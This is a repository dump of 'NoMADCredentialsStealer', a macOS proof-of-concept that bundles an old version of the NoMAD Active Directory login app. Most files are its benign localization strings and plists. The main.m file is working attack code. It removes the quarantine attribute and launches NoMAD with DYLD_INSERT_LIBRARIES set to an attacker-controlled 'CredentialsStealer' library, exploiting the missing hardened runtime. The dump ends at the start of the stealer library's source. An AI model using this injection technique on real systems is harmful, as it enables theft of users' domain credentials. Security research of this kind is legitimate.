14 | "NYi-E8-wXM.title" = "Gebruikersnaam";
15 |
16 | /* Class = "NSTextFieldCell"; title = "New Password"; ObjectID = "Tdf-0W-Q1c"; */
17 | "Tdf-0W-Q1c.title" = "Nieuw wachtwoord";
18 |
19 | /* Class = "NSTextFieldCell"; title = "Password"; ObjectID = "k8Q-BQ-grp"; */
20 | "k8Q-BQ-grp.title" = "Wachtwoord";
21 |
22 |
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/es.lproj/LoginWindow.strings:
--------------------------------------------------------------------------------
1 | /* Class = "NSButtonCell"; title = "Sign In"; ObjectID = "6VQ-hA-QCl"; */
2 | "6VQ-hA-QCl.title" = "Iniciar sesión";
3 |
4 | /* Class = "NSButtonCell"; title = "Change Password"; ObjectID = "9um-Qh-jjA"; */
5 | "9um-Qh-jjA.title" = "Cambiar contraseña";
6 |
7 | /* Class = "NSWindow"; title = "Sign In"; ObjectID = "F0z-JX-Cv5"; */
8 | "F0z-JX-Cv5.title" = "Iniciar sesión";
9 |
10 | /* Class = "NSTextFieldCell"; title = "New Password"; ObjectID = "IM1-92-Doz"; */
11 | "IM1-92-Doz.title" = "Contraseña nueva";
12 |
13 | /* Class = "NSTextFieldCell"; title = "User Name"; ObjectID = "NYi-E8-wXM"; */
14 | "NYi-E8-wXM.title" = "Nombre de usuario";
15 |
16 | /* Class = "NSTextFieldCell"; title = "New Password"; ObjectID = "Tdf-0W-Q1c"; */
17 | "Tdf-0W-Q1c.title" = "Contraseña nueva";
18 |
19 | /* Class = "NSTextFieldCell"; title = "Password"; ObjectID = "k8Q-BQ-grp"; */
20 | "k8Q-BQ-grp.title" = "Contraseña";
21 |
22 |
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/fr.lproj/LoginWindow.strings:
--------------------------------------------------------------------------------
1 | /* Class = "NSButtonCell"; title = "Sign In"; ObjectID = "6VQ-hA-QCl"; */
2 | "6VQ-hA-QCl.title" = "Connectez-vous";
3 |
4 | /* Class = "NSButtonCell"; title = "Change Password"; ObjectID = "9um-Qh-jjA"; */
5 | "9um-Qh-jjA.title" = "Changer mot de passe";
6 |
7 | /* Class = "NSWindow"; title = "Sign In"; ObjectID = "F0z-JX-Cv5"; */
8 | "F0z-JX-Cv5.title" = "Connectez-vous";
9 |
10 | /* Class = "NSTextFieldCell"; title = "New Password"; ObjectID = "IM1-92-Doz"; */
11 | "IM1-92-Doz.title" = "Nouveau mot de passe";
12 |
13 | /* Class = "NSTextFieldCell"; title = "User Name"; ObjectID = "NYi-E8-wXM"; */
14 | "NYi-E8-wXM.title" = "Utilisateur";
15 |
16 | /* Class = "NSTextFieldCell"; title = "New Password"; ObjectID = "Tdf-0W-Q1c"; */
17 | "Tdf-0W-Q1c.title" = "Nouveau mot de passe";
18 |
19 | /* Class = "NSTextFieldCell"; title = "Password"; ObjectID = "k8Q-BQ-grp"; */
20 | "k8Q-BQ-grp.title" = "Mot de passe";
21 |
22 |
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/main.m:
--------------------------------------------------------------------------------
1 | #import
2 | #include
3 |
4 | int main(int argc, const char * argv[]) {
5 |
6 | NSString *NoMADPath = [[NSBundle mainBundle] pathForResource:@"NoMAD" ofType:@"app"];
7 | NSString *NoMADExecutablePath = [NoMADPath stringByAppendingString:@"/Contents/MacOS/NoMAD"];
8 | NSString *CredentialsStealerDylibPath = [[NSBundle mainBundle] pathForResource:@"libCredentialsStealer" ofType:@"dylib"];
9 |
10 | // make sure that no quarantine is applied
11 | removexattr([NoMADPath cStringUsingEncoding:NSUTF8StringEncoding], "com.apple.quarantine", 0);
12 |
13 | NSTask *task = [NSTask new];
14 | task.launchPath = NoMADExecutablePath;
15 | // DYLD_INSERT_LIBRARIES will inject the attacker's controlled library because the old NoMAD version doesn't have the hardened runtime flag set
16 | task.environment = @{@"DYLD_INSERT_LIBRARIES":CredentialsStealerDylibPath};
17 | [task launch];
18 |
19 |
20 | return 0;
21 | }
22 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2022 Wojciech Reguła
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Info.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | CFBundleDevelopmentRegion
6 | $(DEVELOPMENT_LANGUAGE)
7 | CFBundleExecutable
8 | $(EXECUTABLE_NAME)
9 | CFBundleIconFile
10 |
11 | CFBundleIdentifier
12 | $(PRODUCT_BUNDLE_IDENTIFIER)
13 | CFBundleInfoDictionaryVersion
14 | 6.0
15 | CFBundleName
16 | $(PRODUCT_NAME)
17 | CFBundlePackageType
18 | $(PRODUCT_BUNDLE_PACKAGE_TYPE)
19 | CFBundleShortVersionString
20 | 1.0
21 | CFBundleVersion
22 | 1
23 | LSMinimumSystemVersion
24 | $(MACOSX_DEPLOYMENT_TARGET)
25 | NSHumanReadableCopyright
26 | Copyright © 2022 Wojciech Reguła. All rights reserved.
27 | NSMainNibFile
28 | MainMenu
29 | NSPrincipalClass
30 | NSApplication
31 | NSSupportsAutomaticTermination
32 |
33 | NSSupportsSuddenTermination
34 |
35 |
36 |
37 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # Xcode
2 | #
3 | # gitignore contributors: remember to update Global/Xcode.gitignore, Objective-C.gitignore & Swift.gitignore
4 |
5 | ## User settings
6 | xcuserdata/
7 |
8 | ## compatibility with Xcode 8 and earlier (ignoring not required starting Xcode 9)
9 | *.xcscmblueprint
10 | *.xccheckout
11 |
12 | ## compatibility with Xcode 3 and earlier (ignoring not required starting Xcode 4)
13 | build/
14 | DerivedData/
15 | *.moved-aside
16 | *.pbxuser
17 | !default.pbxuser
18 | *.mode1v3
19 | !default.mode1v3
20 | *.mode2v3
21 | !default.mode2v3
22 | *.perspectivev3
23 | !default.perspectivev3
24 |
25 | ## Obj-C/Swift specific
26 | *.hmap
27 |
28 | ## App packaging
29 | *.ipa
30 | *.dSYM.zip
31 | *.dSYM
32 |
33 | # CocoaPods
34 | #
35 | # We recommend against adding the Pods directory to your .gitignore. However
36 | # you should judge for yourself, the pros and cons are mentioned at:
37 | # https://guides.cocoapods.org/using/using-cocoapods.html#should-i-check-the-pods-directory-into-source-control
38 | #
39 | # Pods/
40 | #
41 | # Add this line if you want to avoid checking in source code from the Xcode workspace
42 | # *.xcworkspace
43 |
44 | # Carthage
45 | #
46 | # Add this line if you want to avoid checking in source code from Carthage dependencies.
47 | # Carthage/Checkouts
48 |
49 | Carthage/Build/
50 |
51 | # fastlane
52 | #
53 | # It is recommended to not store the screenshots in the git repo.
54 | # Instead, use fastlane to re-generate the screenshots whenever they are needed.
55 | # For more information about the recommended setup visit:
56 | # https://docs.fastlane.tools/best-practices/source-control/#source-control
57 |
58 | fastlane/report.xml
59 | fastlane/Preview.html
60 | fastlane/screenshots/**/*.png
61 | fastlane/test_output
62 |
63 | # Code Injection
64 | #
65 | # After new code Injection tools there's a generated folder /iOSInjectionProject
66 | # https://github.com/johnno1962/injectionforxcode
67 |
68 | iOSInjectionProject/
69 |
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/da.lproj/PreferencesWindow.strings:
--------------------------------------------------------------------------------
1 |
2 | /* Class = "NSButtonCell"; title = "Renew Ticket"; ObjectID = "1RW-ej-qej"; */
3 | "1RW-ej-qej.title" = "Forny billet";
4 |
5 | /* Class = "NSTextFieldCell"; title = "AD Domain"; ObjectID = "3PC-dv-g1C"; */
6 | "3PC-dv-g1C.title" = "AD domæne";
7 |
8 | /* Class = "NSButtonCell"; title = "Use Keychain"; ObjectID = "7Oh-A9-P92"; */
9 | "7Oh-A9-P92.title" = "Brug nøglering";
10 |
11 | /* Class = "NSWindow"; title = "Preferences"; ObjectID = "F0z-JX-Cv5"; */
12 | "F0z-JX-Cv5.title" = "Indstillinger";
13 |
14 | /* Class = "NSTextFieldCell"; title = "Template"; ObjectID = "Kes-CY-FXH"; */
15 | "Kes-CY-FXH.title" = "Skabelon";
16 |
17 | /* Class = "NSTextFieldCell"; placeholderString = "optional"; ObjectID = "Q7A-Jc-5cc"; */
18 | "Q7A-Jc-5cc.placeholderString" = "valgfri";
19 |
20 | /* Class = "NSTextFieldCell"; title = "Kerberos Realm"; ObjectID = "Ufb-5N-kJA"; */
21 | "Ufb-5N-kJA.title" = "Kerberos Realm";
22 |
23 | /* Class = "NSTextField"; ibShadowedToolTip = "The name of your AD Domain."; ObjectID = "ZGq-je-gSa"; */
24 | "ZGq-je-gSa.ibShadowedToolTip" = "Navn på dit AD domæne";
25 |
26 | /* Class = "NSTextFieldCell"; placeholderString = "company.com"; ObjectID = "dUx-kM-pRM"; */
27 | "dUx-kM-pRM.placeholderString" = "virksomhed.dk";
28 |
29 | /* Class = "NSTextFieldCell"; title = "x509 CA"; ObjectID = "owP-RF-Kec"; */
30 | "owP-RF-Kec.title" = "x509 CA";
31 |
32 | /* Class = "NSTextFieldCell"; title = "Seconds"; ObjectID = "qpU-ge-el4"; */
33 | "qpU-ge-el4.title" = "Sekunder";
34 |
35 | /* Class = "NSTextFieldCell"; placeholderString = "optional"; ObjectID = "saW-aa-BZg"; */
36 | "saW-aa-BZg.placeholderString" = "valgfri";
37 |
38 | /* Class = "NSTextFieldCell"; placeholderString = "optional"; ObjectID = "tno-bN-cMD"; */
39 | "tno-bN-cMD.placeholderString" = "valgfri";
40 |
41 | /* Class = "NSButtonCell"; title = "Show Home Folder"; ObjectID = "wDv-Uk-9vU"; */
42 | "wDv-Uk-9vU.title" = "Vis hjemmemappe";
43 |
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/sv.lproj/PreferencesWindow.strings:
--------------------------------------------------------------------------------
1 | /* Class = "NSButtonCell"; title = "Renew Ticket"; ObjectID = "1RW-ej-qej"; */
2 | "1RW-ej-qej.title" = "Förnya biljett";
3 |
4 | /* Class = "NSTextFieldCell"; title = "AD Domain"; ObjectID = "3PC-dv-g1C"; */
5 | "3PC-dv-g1C.title" = "AD Domän";
6 |
7 | /* Class = "NSButtonCell"; title = "Use Keychain"; ObjectID = "7Oh-A9-P92"; */
8 | "7Oh-A9-P92.title" = "Använd Nyckelring";
9 |
10 | /* Class = "NSWindow"; title = "Preferences"; ObjectID = "F0z-JX-Cv5"; */
11 | "F0z-JX-Cv5.title" = "Inställningar";
12 |
13 | /* Class = "NSTextFieldCell"; title = "Template"; ObjectID = "Kes-CY-FXH"; */
14 | "Kes-CY-FXH.title" = "Mall";
15 |
16 | /* Class = "NSTextFieldCell"; placeholderString = "optional"; ObjectID = "Q7A-Jc-5cc"; */
17 | "Q7A-Jc-5cc.placeholderString" = "valfritt";
18 |
19 | /* Class = "NSTextFieldCell"; title = "Kerberos Realm"; ObjectID = "Ufb-5N-kJA"; */
20 | "Ufb-5N-kJA.title" = "Kerberos Realm";
21 |
22 | /* Class = "NSTextField"; ibShadowedToolTip = "The name of your AD Domain."; ObjectID = "ZGq-je-gSa"; */
23 | "ZGq-je-gSa.ibShadowedToolTip" = "Namnet på din AD Domän.";
24 |
25 | /* Class = "NSTextFieldCell"; placeholderString = "company.com"; ObjectID = "dUx-kM-pRM"; */
26 | "dUx-kM-pRM.placeholderString" = "company.com";
27 |
28 | /* Class = "NSTextFieldCell"; title = "x509 CA"; ObjectID = "owP-RF-Kec"; */
29 | "owP-RF-Kec.title" = "x509 CA";
30 |
31 | /* Class = "NSTextFieldCell"; title = "Seconds"; ObjectID = "qpU-ge-el4"; */
32 | "qpU-ge-el4.title" = "Sekunder";
33 |
34 | /* Class = "NSTextFieldCell"; placeholderString = "optional"; ObjectID = "saW-aa-BZg"; */
35 | "saW-aa-BZg.placeholderString" = "valfritt";
36 |
37 | /* Class = "NSTextFieldCell"; placeholderString = "optional"; ObjectID = "tno-bN-cMD"; */
38 | "tno-bN-cMD.placeholderString" = "valfritt";
39 |
40 | /* Class = "NSButtonCell"; title = "Show Home Folder"; ObjectID = "wDv-Uk-9vU"; */
41 | "wDv-Uk-9vU.title" = "Visa hemkatalog";
42 |
43 |
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/pl.lproj/PreferencesWindow.strings:
--------------------------------------------------------------------------------
1 | /* Class = "NSButtonCell"; title = "Renew Ticket"; ObjectID = "1RW-ej-qej"; */
2 | "1RW-ej-qej.title" = "Odśwież Ticket";
3 |
4 | /* Class = "NSTextFieldCell"; title = "AD Domain"; ObjectID = "3PC-dv-g1C"; */
5 | "3PC-dv-g1C.title" = "Domena AD";
6 |
7 | /* Class = "NSButtonCell"; title = "Use Keychain"; ObjectID = "7Oh-A9-P92"; */
8 | "7Oh-A9-P92.title" = "Użyj pęku kluczy";
9 |
10 | /* Class = "NSWindow"; title = "Preferences"; ObjectID = "F0z-JX-Cv5"; */
11 | "F0z-JX-Cv5.title" = "Preferencje";
12 |
13 | /* Class = "NSTextFieldCell"; title = "Template"; ObjectID = "Kes-CY-FXH"; */
14 | "Kes-CY-FXH.title" = "Szablon";
15 |
16 | /* Class = "NSTextFieldCell"; placeholderString = "optional"; ObjectID = "Q7A-Jc-5cc"; */
17 | "Q7A-Jc-5cc.placeholderString" = "opcjonalnie";
18 |
19 | /* Class = "NSTextFieldCell"; title = "Kerberos Realm"; ObjectID = "Ufb-5N-kJA"; */
20 | "Ufb-5N-kJA.title" = "Kerberos Realm";
21 |
22 | /* Class = "NSTextField"; ibShadowedToolTip = "The name of your AD Domain."; ObjectID = "ZGq-je-gSa"; */
23 | "ZGq-je-gSa.ibShadowedToolTip" = "Nazwa domeny AD";
24 |
25 | /* Class = "NSTextFieldCell"; placeholderString = "company.com"; ObjectID = "dUx-kM-pRM"; */
26 | "dUx-kM-pRM.placeholderString" = "firma.pl";
27 |
28 | /* Class = "NSTextFieldCell"; title = "x509 CA"; ObjectID = "owP-RF-Kec"; */
29 | "owP-RF-Kec.title" = "x509 CA";
30 |
31 | /* Class = "NSTextFieldCell"; title = "Seconds"; ObjectID = "qpU-ge-el4"; */
32 | "qpU-ge-el4.title" = "Sekundy";
33 |
34 | /* Class = "NSTextFieldCell"; placeholderString = "optional"; ObjectID = "saW-aa-BZg"; */
35 | "saW-aa-BZg.placeholderString" = "opcjonalnie";
36 |
37 | /* Class = "NSTextFieldCell"; placeholderString = "optional"; ObjectID = "tno-bN-cMD"; */
38 | "tno-bN-cMD.placeholderString" = "opcjonalnie";
39 |
40 | /* Class = "NSButtonCell"; title = "Show Home Folder"; ObjectID = "wDv-Uk-9vU"; */
41 | "wDv-Uk-9vU.title" = "Pokaż folder domowy";
42 |
43 |
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/nl.lproj/PreferencesWindow.strings:
--------------------------------------------------------------------------------
1 | /* Class = "NSButtonCell"; title = "Renew Ticket"; ObjectID = "1RW-ej-qej"; */
2 | "1RW-ej-qej.title" = "Vernieuw ticket";
3 |
4 | /* Class = "NSTextFieldCell"; title = "AD Domain"; ObjectID = "3PC-dv-g1C"; */
5 | "3PC-dv-g1C.title" = "AD domein";
6 |
7 | /* Class = "NSButtonCell"; title = "Use Keychain"; ObjectID = "7Oh-A9-P92"; */
8 | "7Oh-A9-P92.title" = "Gebruik sleutelhanger";
9 |
10 | /* Class = "NSWindow"; title = "Preferences"; ObjectID = "F0z-JX-Cv5"; */
11 | "F0z-JX-Cv5.title" = "Voorkeuren";
12 |
13 | /* Class = "NSTextFieldCell"; title = "Template"; ObjectID = "Kes-CY-FXH"; */
14 | "Kes-CY-FXH.title" = "Sjabloon";
15 |
16 | /* Class = "NSTextFieldCell"; placeholderString = "optional"; ObjectID = "Q7A-Jc-5cc"; */
17 | "Q7A-Jc-5cc.placeholderString" = "optioneel";
18 |
19 | /* Class = "NSTextFieldCell"; title = "Kerberos Realm"; ObjectID = "Ufb-5N-kJA"; */
20 | "Ufb-5N-kJA.title" = "Kerberos realm";
21 |
22 | /* Class = "NSTextField"; ibShadowedToolTip = "The name of your AD Domain."; ObjectID = "ZGq-je-gSa"; */
23 | "ZGq-je-gSa.ibShadowedToolTip" = "De naam van uw AD Domein.";
24 |
25 | /* Class = "NSTextFieldCell"; placeholderString = "company.com"; ObjectID = "dUx-kM-pRM"; */
26 | "dUx-kM-pRM.placeholderString" = "company.com";
27 |
28 | /* Class = "NSTextFieldCell"; title = "x509 CA"; ObjectID = "owP-RF-Kec"; */
29 | "owP-RF-Kec.title" = "x509 CA";
30 |
31 | /* Class = "NSTextFieldCell"; title = "Seconds"; ObjectID = "qpU-ge-el4"; */
32 | "qpU-ge-el4.title" = "Seconden";
33 |
34 | /* Class = "NSTextFieldCell"; placeholderString = "optional"; ObjectID = "saW-aa-BZg"; */
35 | "saW-aa-BZg.placeholderString" = "optioneel";
36 |
37 | /* Class = "NSTextFieldCell"; placeholderString = "optional"; ObjectID = "tno-bN-cMD"; */
38 | "tno-bN-cMD.placeholderString" = "optioneel";
39 |
40 | /* Class = "NSButtonCell"; title = "Show Home Folder"; ObjectID = "wDv-Uk-9vU"; */
41 | "wDv-Uk-9vU.title" = "Toon thuismap";
42 |
43 |
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/de.lproj/PreferencesWindow.strings:
--------------------------------------------------------------------------------
1 | /* Class = "NSButtonCell"; title = "Renew Ticket"; ObjectID = "1RW-ej-qej"; */
2 | "1RW-ej-qej.title" = "Ticket erneuern";
3 |
4 | /* Class = "NSTextFieldCell"; title = "AD Domain"; ObjectID = "3PC-dv-g1C"; */
5 | "3PC-dv-g1C.title" = "AD Domäne";
6 |
7 | /* Class = "NSButtonCell"; title = "Use Keychain"; ObjectID = "7Oh-A9-P92"; */
8 | "7Oh-A9-P92.title" = "Schlüsselbund verwenden";
9 |
10 | /* Class = "NSWindow"; title = "Preferences"; ObjectID = "F0z-JX-Cv5"; */
11 | "F0z-JX-Cv5.title" = "Einstellungen";
12 |
13 | /* Class = "NSTextFieldCell"; title = "Template"; ObjectID = "Kes-CY-FXH"; */
14 | "Kes-CY-FXH.title" = "Vorlage";
15 |
16 | /* Class = "NSTextFieldCell"; placeholderString = "optional"; ObjectID = "Q7A-Jc-5cc"; */
17 | "Q7A-Jc-5cc.placeholderString" = "optional";
18 |
19 | /* Class = "NSTextFieldCell"; title = "Kerberos Realm"; ObjectID = "Ufb-5N-kJA"; */
20 | "Ufb-5N-kJA.title" = "Kerberos Realm";
21 |
22 | /* Class = "NSTextField"; ibShadowedToolTip = "The name of your AD Domain."; ObjectID = "ZGq-je-gSa"; */
23 | "ZGq-je-gSa.ibShadowedToolTip" = "Name der AD Domäne.";
24 |
25 | /* Class = "NSTextFieldCell"; placeholderString = "company.com"; ObjectID = "dUx-kM-pRM"; */
26 | "dUx-kM-pRM.placeholderString" = "company.com";
27 |
28 | /* Class = "NSTextFieldCell"; title = "x509 CA"; ObjectID = "owP-RF-Kec"; */
29 | "owP-RF-Kec.title" = "x509 CA";
30 |
31 | /* Class = "NSTextFieldCell"; title = "Seconds"; ObjectID = "qpU-ge-el4"; */
32 | "qpU-ge-el4.title" = "Sekunden";
33 |
34 | /* Class = "NSTextFieldCell"; placeholderString = "optional"; ObjectID = "saW-aa-BZg"; */
35 | "saW-aa-BZg.placeholderString" = "optional";
36 |
37 | /* Class = "NSTextFieldCell"; placeholderString = "optional"; ObjectID = "tno-bN-cMD"; */
38 | "tno-bN-cMD.placeholderString" = "optional";
39 |
40 | /* Class = "NSButtonCell"; title = "Show Home Folder"; ObjectID = "wDv-Uk-9vU"; */
41 | "wDv-Uk-9vU.title" = "Benutzerverzeichnis anzeigen";
42 |
43 |
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/es.lproj/PreferencesWindow.strings:
--------------------------------------------------------------------------------
1 | /* Class = "NSButtonCell"; title = "Renew Ticket"; ObjectID = "1RW-ej-qej"; */
2 | "1RW-ej-qej.title" = "Renovar ticket";
3 |
4 | /* Class = "NSTextFieldCell"; title = "AD Domain"; ObjectID = "3PC-dv-g1C"; */
5 | "3PC-dv-g1C.title" = "Dominio de AD";
6 |
7 | /* Class = "NSButtonCell"; title = "Use Keychain"; ObjectID = "7Oh-A9-P92"; */
8 | "7Oh-A9-P92.title" = "Usar llavero";
9 |
10 | /* Class = "NSWindow"; title = "Preferences"; ObjectID = "F0z-JX-Cv5"; */
11 | "F0z-JX-Cv5.title" = "Preferencias";
12 |
13 | /* Class = "NSTextFieldCell"; title = "Template"; ObjectID = "Kes-CY-FXH"; */
14 | "Kes-CY-FXH.title" = "Plantilla";
15 |
16 | /* Class = "NSTextFieldCell"; placeholderString = "optional"; ObjectID = "Q7A-Jc-5cc"; */
17 | "Q7A-Jc-5cc.placeholderString" = "opcional";
18 |
19 | /* Class = "NSTextFieldCell"; title = "Kerberos Realm"; ObjectID = "Ufb-5N-kJA"; */
20 | "Ufb-5N-kJA.title" = "Dominio Kerberos";
21 |
22 | /* Class = "NSTextField"; ibShadowedToolTip = "The name of your AD Domain."; ObjectID = "ZGq-je-gSa"; */
23 | "ZGq-je-gSa.ibShadowedToolTip" = "El nombre de tu dominio de AD.";
24 |
25 | /* Class = "NSTextFieldCell"; placeholderString = "company.com"; ObjectID = "dUx-kM-pRM"; */
26 | "dUx-kM-pRM.placeholderString" = "company.com";
27 |
28 | /* Class = "NSTextFieldCell"; title = "x509 CA"; ObjectID = "owP-RF-Kec"; */
29 | "owP-RF-Kec.title" = "x509 CA";
30 |
31 | /* Class = "NSTextFieldCell"; title = "Seconds"; ObjectID = "qpU-ge-el4"; */
32 | "qpU-ge-el4.title" = "Segundos";
33 |
34 | /* Class = "NSTextFieldCell"; placeholderString = "optional"; ObjectID = "saW-aa-BZg"; */
35 | "saW-aa-BZg.placeholderString" = "opcional";
36 |
37 | /* Class = "NSTextFieldCell"; placeholderString = "optional"; ObjectID = "tno-bN-cMD"; */
38 | "tno-bN-cMD.placeholderString" = "opcional";
39 |
40 | /* Class = "NSButtonCell"; title = "Show Home Folder"; ObjectID = "wDv-Uk-9vU"; */
41 | "wDv-Uk-9vU.title" = "Mostrar carpeta de usuario";
42 |
43 |
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/fr.lproj/PreferencesWindow.strings:
--------------------------------------------------------------------------------
1 | /* Class = "NSButtonCell"; title = "Renew Ticket"; ObjectID = "1RW-ej-qej"; */
2 | "1RW-ej-qej.title" = "Renouveler le ticket";
3 |
4 | /* Class = "NSTextFieldCell"; title = "AD Domain"; ObjectID = "3PC-dv-g1C"; */
5 | "3PC-dv-g1C.title" = "Domaine AD";
6 |
7 | /* Class = "NSButtonCell"; title = "Use Keychain"; ObjectID = "7Oh-A9-P92"; */
8 | "7Oh-A9-P92.title" = "Utiliser trousseau";
9 |
10 | /* Class = "NSWindow"; title = "Preferences"; ObjectID = "F0z-JX-Cv5"; */
11 | "F0z-JX-Cv5.title" = "Préférences";
12 |
13 | /* Class = "NSTextFieldCell"; title = "Template"; ObjectID = "Kes-CY-FXH"; */
14 | "Kes-CY-FXH.title" = "Modèle";
15 |
16 | /* Class = "NSTextFieldCell"; placeholderString = "optional"; ObjectID = "Q7A-Jc-5cc"; */
17 | "Q7A-Jc-5cc.placeholderString" = "optionnel";
18 |
19 | /* Class = "NSTextFieldCell"; title = "Kerberos Realm"; ObjectID = "Ufb-5N-kJA"; */
20 | "Ufb-5N-kJA.title" = "Kerberos Domaine";
21 |
22 | /* Class = "NSTextField"; ibShadowedToolTip = "The name of your AD Domain."; ObjectID = "ZGq-je-gSa"; */
23 | "ZGq-je-gSa.ibShadowedToolTip" = "Nom de votre domaine AD";
24 |
25 | /* Class = "NSTextFieldCell"; placeholderString = "company.com"; ObjectID = "dUx-kM-pRM"; */
26 | "dUx-kM-pRM.placeholderString" = "company.com";
27 |
28 | /* Class = "NSTextFieldCell"; title = "x509 CA"; ObjectID = "owP-RF-Kec"; */
29 | "owP-RF-Kec.title" = "x509 CA";
30 |
31 | /* Class = "NSTextFieldCell"; title = "Seconds"; ObjectID = "qpU-ge-el4"; */
32 | "qpU-ge-el4.title" = "Secondes";
33 |
34 | /* Class = "NSTextFieldCell"; placeholderString = "optional"; ObjectID = "saW-aa-BZg"; */
35 | "saW-aa-BZg.placeholderString" = "optionnel";
36 |
37 | /* Class = "NSTextFieldCell"; placeholderString = "optional"; ObjectID = "tno-bN-cMD"; */
38 | "tno-bN-cMD.placeholderString" = "optionnel";
39 |
40 | /* Class = "NSButtonCell"; title = "Show Home Folder"; ObjectID = "wDv-Uk-9vU"; */
41 | "wDv-Uk-9vU.title" = "Montrer le dossier Home";
42 |
43 |
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/DefaultPreferences.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | ADDomain
6 |
7 | AutoConfigure
8 |
9 | ChangePasswordType
10 | Kerberos
11 | DisplayName
12 |
13 | ExpeditedLookup
14 |
15 | ExportableKey
16 |
17 | GetHelpOptions
18 |
19 | GetHelpType
20 |
21 | Groups
22 |
23 | HidePrefs
24 |
25 | KerberosRealm
26 |
27 | LastCertificateExpiration
28 |
29 | LoginComamnd
30 |
31 | LoginItem
32 |
33 | LDAPServerList
34 |
35 | LocalPasswordSync
36 |
37 | LastUser
38 |
39 | LastPasswordWarning
40 | 1296000
41 | LastPasswordExpireDate
42 | 2016-11-23T02:28:33Z
43 | PasswordExpireAlertTime
44 | 1296000
45 | PasswordChangeOptions
46 |
47 | RenewTickets
48 |
49 | SecondsToRenew
50 | 7200
51 | SelfServicePath
52 |
53 | ShowHome
54 |
55 | SignInCommand
56 |
57 | StateChangeAction
58 |
59 | Template
60 |
61 | UserPrincipal
62 |
63 | UserPasswordExpireDate
64 |
65 | UserHome
66 |
67 | UserCommandTask1
68 |
69 | UserCommandName1
70 |
71 | UserCommandHotKey1
72 |
73 | UserPasswordSetDates
74 |
75 | UseKeychain
76 |
77 | UserShortName
78 |
79 | UserAging
80 |
81 | Verbose
82 |
83 | X509CA
84 |
85 |
86 |
87 |
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Info.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | BuildMachineOSBuild
6 | 16F2104
7 | CFBundleDevelopmentRegion
8 | en
9 | CFBundleExecutable
10 | NoMAD
11 | CFBundleIconFile
12 | AppIcon
13 | CFBundleIdentifier
14 | com.trusourcelabs.NoMAD
15 | CFBundleInfoDictionaryVersion
16 | 6.0
17 | CFBundleName
18 | NoMAD
19 | CFBundlePackageType
20 | APPL
21 | CFBundleShortVersionString
22 | 1.0.5
23 | CFBundleSignature
24 | ????
25 | CFBundleSupportedPlatforms
26 |
27 | MacOSX
28 |
29 | CFBundleURLTypes
30 |
31 |
32 | CFBundleURLName
33 | nomad
34 |
35 |
36 | CFBundleVersion
37 | 663
38 | DTCompiler
39 | com.apple.compilers.llvm.clang.1_0
40 | DTPlatformBuild
41 | 8E3004b
42 | DTPlatformVersion
43 | GM
44 | DTSDKBuild
45 | 16E185
46 | DTSDKName
47 | macosx10.12
48 | DTXcode
49 | 0833
50 | DTXcodeBuild
51 | 8E3004b
52 | LSApplicationCategoryType
53 | public.app-category.utilities
54 | LSMinimumSystemVersion
55 | 10.10
56 | LSUIElement
57 |
58 | NSAppTransportSecurity
59 |
60 | NSAllowsArbitraryLoads
61 |
62 | NSAllowsArbitraryLoadsInWebContent
63 |
64 | NSExceptionDomains
65 |
66 |
67 | NSHumanReadableCopyright
68 | Copyright © 2016 Orchard & Grove. All rights reserved.
69 | NSMainNibFile
70 | MainMenu
71 | NSPrincipalClass
72 | NoMAD.NoMADApplication
73 | NSUserNotificationAlertStyle
74 | alert
75 |
76 |
77 |
--------------------------------------------------------------------------------
/NoMADCredentialsStealer/CredentialsStealer/CredentialsStealer.m:
--------------------------------------------------------------------------------
1 | #import
2 |
3 | #if __has_feature(objc_arc)
4 | #define DLog(format, ...) CFShow((__bridge CFStringRef)[NSString stringWithFormat:format, ## __VA_ARGS__]);
5 | #else
